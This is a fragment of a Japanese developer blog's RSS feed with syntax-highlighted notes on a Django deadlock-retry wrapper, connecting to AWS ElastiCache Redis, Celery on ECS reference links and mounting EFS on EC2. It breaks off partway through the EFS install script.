&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; django.db.backends.utils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db &lt;span style="color:#f92672"&gt;import&lt;/span&gt; OperationalError
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;original &lt;span style="color:#f92672"&gt;=&lt;/span&gt; django&lt;span style="color:#f92672"&gt;.&lt;/span&gt;db&lt;span style="color:#f92672"&gt;.&lt;/span&gt;backends&lt;span style="color:#f92672"&gt;.&lt;/span&gt;utils&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CursorWrapper&lt;span style="color:#f92672"&gt;.&lt;/span&gt;execute
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;execute_wrapper&lt;/span&gt;(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; attempts &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; attempts &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; original(&lt;span style="color:#f92672"&gt;*&lt;/span&gt;args, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;except&lt;/span&gt; OperationalError &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; code &lt;span style="color:#f92672"&gt;=&lt;/span&gt; e&lt;span style="color:#f92672"&gt;.&lt;/span&gt;args[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; attempts &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;or&lt;/span&gt; code &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1213&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;raise&lt;/span&gt; e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; attempts &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time&lt;span style="color:#f92672"&gt;.&lt;/span&gt;sleep(&lt;span style="color:#ae81ff"&gt;0.2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;django&lt;span style="color:#f92672"&gt;.&lt;/span&gt;db&lt;span style="color:#f92672"&gt;.&lt;/span&gt;backends&lt;span style="color:#f92672"&gt;.&lt;/span&gt;utils&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CursorWrapper&lt;span style="color:#f92672"&gt;.&lt;/span&gt;execute &lt;span style="color:#f92672"&gt;=&lt;/span&gt; execute_wrapper
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>redis</title><link>https://hdknr.github.io/blogs/posts/2023/07/redis/</link><pubDate>Fri, 14 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/redis/</guid><description>&lt;h1 id="elasic-cache-for-redis"&gt;Elasic Cache for Redis&lt;/h1&gt;
&lt;h2 id="バージョン"&gt;バージョン&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ redis-cli --version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis-cli 5.0.7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ redis-server -v
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Redis server v&lt;span style="color:#f92672"&gt;=&lt;/span&gt;5.0.7 sha&lt;span style="color:#f92672"&gt;=&lt;/span&gt;00000000:0 malloc&lt;span style="color:#f92672"&gt;=&lt;/span&gt;jemalloc-5.2.1 bits&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; build&lt;span style="color:#f92672"&gt;=&lt;/span&gt;66bd629f924ac924
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;接続:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;REDIS_URL&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;redis://mycloud-stage-redis-nc.sigrvp.ng.0001.apne1.cache.amazonaws.com:6379/0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ export &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;cat .env|xargs&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ redis-cli -u $REDIS_URL PING
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PONG
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="python"&gt;Python&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;redis-py&lt;/code&gt;: &lt;a href="https://github.com/redis/redis-py"&gt;https://github.com/redis/redis-py&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;django-redis&lt;/code&gt;: &lt;a href="https://github.com/jazzband/django-redis"&gt;https://github.com/jazzband/django-redis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;channels_redis&lt;/code&gt;: &lt;a href="https://github.com/django/channels_redis"&gt;https://github.com/django/channels_redis&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="クラスターモードへの接続"&gt;クラスターモードへの接続&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://redis.readthedocs.io/en/stable/connections.html#cluster-client"&gt;Cluster Client&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; logging
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; redis.cluster &lt;span style="color:#f92672"&gt;import&lt;/span&gt; RedisCluster
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ENDPOINT &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;mycloud-stage-redis-test.sigrvp.clustercfg.apne1.cache.amazonaws.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;basicConfig(level&lt;span style="color:#f92672"&gt;=&lt;/span&gt;logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;INFO)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis &lt;span style="color:#f92672"&gt;=&lt;/span&gt; RedisCluster(host&lt;span style="color:#f92672"&gt;=&lt;/span&gt;ENDPOINT, port&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;6379&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; redis&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ping():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;info(&lt;span style="color:#e6db74"&gt;&amp;#34;Connected to Redis&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;django-redis:&lt;/p&gt;</description></item><item><title>Celery AWS ECS</title><link>https://hdknr.github.io/blogs/posts/2023/07/celery-aws-ecs/</link><pubDate>Thu, 13 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/celery-aws-ecs/</guid><description>&lt;h1 id="celery-on-ecs"&gt;Celery on ECS&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/hankehly/items/c3e0496eb04327a53ac4#redis"&gt;【Python Celery】本番運用時に知っておくべき 10 のこと&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Alexmhack/Django-Celery-Redis-AWSEB"&gt;https://github.com/Alexmhack/Django-Celery-Redis-AWSEB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="redis"&gt;Redis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ken0-1n.hatenablog.com/entry/2017/12/05/114653"&gt;Celery + AWS Redis で使ってみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="クラスターモード"&gt;クラスターモード&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Redis &amp;gt;= 3.2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://dev.classmethod.jp/articles/elasticache-cluster-mode/"&gt;ElastiCache for Redis のクラスターモードについて調べてみる&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sqs"&gt;SQS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;broker&lt;/code&gt; としてつかえるが、 &lt;code&gt;backend&lt;/code&gt; としては使えない(SQS + RabbitMQ/Redis/SQLAlchemy を考える)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/nerd-for-tech/celery-sqs-on-django-on-elastic-beanstalk-98e20ccf95c1"&gt;Celery + SQS on Django on Elastic Beanstalk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://python.plainenglish.io/deploying-django-on-aws-setting-up-celery-and-sqs-95632a6e79cb"&gt;Deploying Django on AWS: Setting up Celery and SQS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/daiquiri_team/deploying-django-application-on-aws-with-terraform-setting-up-celery-and-sqs-38ik"&gt;Deploying Django Application on AWS with Terraform. Setting up Celery and SQS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ecs"&gt;ECS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/61989311/running-celery-tasks-and-celery-beat-in-ecs-with-django"&gt;running celery tasks and celery beat in ECS with Django&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/docker/compose/issues/8040"&gt;docker compose ecs deploy aws tutorial: celery incompatible attribute #8040&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.quartetcom.co.jp/2018/11/09/byebye-aws-batch/"&gt;AWS Batch を検討したけど AWS Fargate を採用した話&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="celery-logging"&gt;Celery Logging&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.celeryq.dev/en/stable/reference/celery.app.log.html"&gt;celery.app.log&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://distributedpython.com/posts/three-ideas-to-customise-celery-logging-handlers/"&gt;Three Ideas to Customise Celery logging handlers&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;標準出力:&lt;/p&gt;</description></item><item><title>EC2 mount EFS</title><link>https://hdknr.github.io/blogs/posts/2023/07/ec2-mount-efs/</link><pubDate>Wed, 12 Jul 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/07/ec2-mount-efs/</guid><description>&lt;h1 id="aws-ec2-moutn-efs"&gt;AWS EC2 moutn EFS&lt;/h1&gt;
&lt;h2 id="e2-からマウント"&gt;E2 からマウント&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;EFS_ID&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;fs-0f90bd97a364a6e94&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PKG&lt;span style="color:#f92672"&gt;=&lt;/span&gt;amazon-efs-utils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;RES&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;dpkg --get-selections | grep $PKG&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MOUNT_PATH&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/efs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; -z &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;RES&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apt update &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt upgrade -y &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt autoremove -y
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; apt-get -y install binutils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; git clone https://github.com/aws/efs-utils
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cd efs-utils
